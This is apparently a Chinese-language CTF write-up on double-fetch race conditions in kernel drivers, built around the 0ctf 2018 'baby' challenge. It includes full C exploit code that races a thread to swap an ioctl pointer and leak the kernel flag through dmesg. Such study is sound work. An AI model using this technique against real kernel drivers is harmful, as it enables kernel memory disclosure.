kernel-4-doubleFetch

内核学习(四) double_fetch。这次主要基于ctf_wiki学习。DoubleFetch相关知识点可在微软安全研究中找到。

double_fetch

阅读微软安全研究的文章

double_fetch是指当内核根据用户输入先判断某个参数的信息,保存在本地之后,如果后面还需要访问这个内容(当内核函数两次从同一用户内存地址读取同一数据时,通常第一次读取用来验证数据或建立联系,第二次则用来使用该数据),可能会复制进来新的信息(利用多线程,条件竞争)这样可能会导致信息不匹配。严重的话可能导致堆栈溢出等情况

一个很简单的例子是如下代码,也是上述文章中的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Attacker controls lParam

void win32k_entry_point(…) {
[…]
// lParam has already passed successfully the ProbeForRead
my_struct = (PMY_STRUCT)lParam;
if (my_struct ->lpData) {
cbCapture = sizeof(MY_STRUCT) + my_struct->cbData; // [1] first fetch
[…]
// my_struct ->lpData has already passed successfully the ProbeForRead
[…]
if ( my_allocation = UserAllocPoolWithQuota(cbCapture, TAG_SMS_CAPTURE)) != NULL) {
RtlCopyMemory(my_allocation, my_struct->lpData, my_struct->cbData); // [2] second fetch
}
}
[…]

}

如果第一次通过fetch拿到了一个长度,第二次如果是别的内核线程运行到这里,由于没有加锁,可能从相同的结构体中复制错误的数据长度。简单来说,其实就是多线程下共享变量未保护的问题(个人理解)

题目分析

这里使用经典的0ctf2018 finals baby。这里的double_fetch的效果是读取内核特定地址信息,没有完成提权等效果。

首先解压文件系统

1
2
3
4
5
6
7
8
9
# 解包文件系统
mkdir core
mv core.cpio ./core/core.cpio
cpio -idmv < core.cpio
rm -rf core.cpio
# 找到baby.ko文件,放到IDA中,打包文件系统
# 重打包文件系统
find . | cpio -o --format=newc > core.cpio
mv ./core.cpio ../

放在IDA里面看一下。驱动主要用两个功能

  1. 当command=0x6666时,输出flag对应的地址
  2. 当command=0x1337时,对我们的输入做如下比较之后,逐字节比较我们输入的flag和正确的flag。如果一样就给出flag(和没有一样)

image-20220211115806806

因此可以看出,比较的内容如下

image-20220211115923349

这里注意到flag是硬编码的。远程的flag是修改过的,所以长度肯定也不同。因此我们还需要知道远程flag的长度。这个可以一个一个尝试来获取。

思路

之前的double_fetch框架提示我们:需要两次对用户输入判断才能利用这种工具。这里恰好有这种情形。可以看出,如果第一个线程的输入成功绕过位于用户空间的比对条件之后,在和flag逐字节比较之前,将我们的flag指针改为之前打印出来的内核地址,就可以在后面比较时泄露内核地址。

我们exp编写的步骤为

  1. 拿到flag内核地址,flag长度。
  2. 通过多线程double_fetch实现buf指针的劫持,绕过检测
  3. 通过dmesg查找到内核打印到内核缓冲区的flag

dmesg命令用于显示开机信息,属于内核信息。用户态需要通过dmesg命令来看到。

编写exp

获得flag长度

从反汇编代码看出,如果检查条件(所属空间、长度)不满足,返回值为0x16。我们只需要在用户态编写循环遍历即可得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<string.h>
#include<stdio.h>
#include<fcntl.h>
#include<malloc.h>
#include <unistd.h> /* System V */
#include <sys/ioctl.h> /* BSD and Linux */
struct user_input
{
char *flag_str;
long length;
};

void main()
{
struct user_input *input = (struct user_input*)malloc(sizeof(struct user_input));
int cnt = 0;
int fd = open("/dev/baby",0);
for(cnt=0;cnt<50;cnt++)
{
printf("trying %d: ",cnt);
int ret = 0;
input->flag_str = "aaaaa";
input->length = cnt;
ret = ioctl(fd,0x1337,input);
if(ret == 0x16)
{
printf("ok! the length of flag is %d\n",cnt);
return;
}
else
{
printf("return %d\n",ret);
}
}


}

可以看到远程的flag长度为33。

image-20220211150611494

double_fetch

这里需要创建两个线程(一个为原先的主线程)其中主线程不断发起ioctl(fd,0x1337,&input)另一个线程反复修改传递的input结构体中的flag_addr数值。由于每次需要通过dmesg查看输出的flag地址比较麻烦,ctf-wiki上面采用了读取文件,利用字符串匹配寻找到最终目标地址的方法。

需要注意的是子线程每次修改的,必须是和主线程一样的数据结构中的flag_buf。最好定义成全局的(虽然理论上来说,不同线程的栈也可以共享),此外,尽量让线程少输出,因为io会大大增加开销,可能导致竞争失败,原先这里就卡了好久,结果关掉输出就对了。

下面的exp主要参考ctf-wiki上面。自己敲了一遍代码,理解了一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// gcc -static exp.c -lpthread -o exp
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#include<malloc.h>
#define TRYTIME 0x1000
#define LEN 0x50

struct user_input
{
char *flag_str;
long length;
} input;
int finish = 0;
int fd;
char buf[0x50] = {0};
unsigned long long flag_place;

void trying(void *s)
{
struct user_input *mal = s;
while(finish == 0)
{
//printf("trying..%u\n",flag_place); //no io!!!
mal->flag_str = flag_place; // maliciously changeing
}
}

int main()
{
fd = open("/dev/baby",0);
ioctl(fd,0x6666);
system("dmesg > /tmp/record.txt");
int tmp_fd = open("/tmp/record.txt",O_RDONLY);
char temp[0x1000];
lseek(tmp_fd,-0x100,SEEK_END);
read(tmp_fd,temp,0x100);
char * idx = strstr(temp,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
close(tmp_fd);
idx+=16;
unsigned long addr = strtoull(idx,idx+16,16);

puts("------addr----------");
printf("[+]flag addr: %p\n",addr);
flag_place = addr;
input.flag_str = buf;
input.length = 33;

int cnt1 = 0;
int cnt2 = 0;
//thread
pthread_t t1;
pthread_create(&t1,NULL,trying,&input);

// main thread
for(cnt1=0;cnt1<1000;cnt1++)
{
ioctl(fd,0x1337,&input);
input.flag_str = buf;
}
finish = 1;
pthread_join(t1,NULL);
close(fd);
puts("[+] result is: ");
system("dmesg | grep THIS");
return 0;
}

参考链接

https://blog.csdn.net/qq_43116977/article/details/105868792

http://p4nda.top/2018/07/20/0ctf-baby/

文章目录
  1. 1. double_fetch
  2. 2. 题目分析
    1. 2.1. 思路
  3. 3. 编写exp
    1. 3.1. 获得flag长度
    2. 3.2. double_fetch
  4. 4. 参考链接
|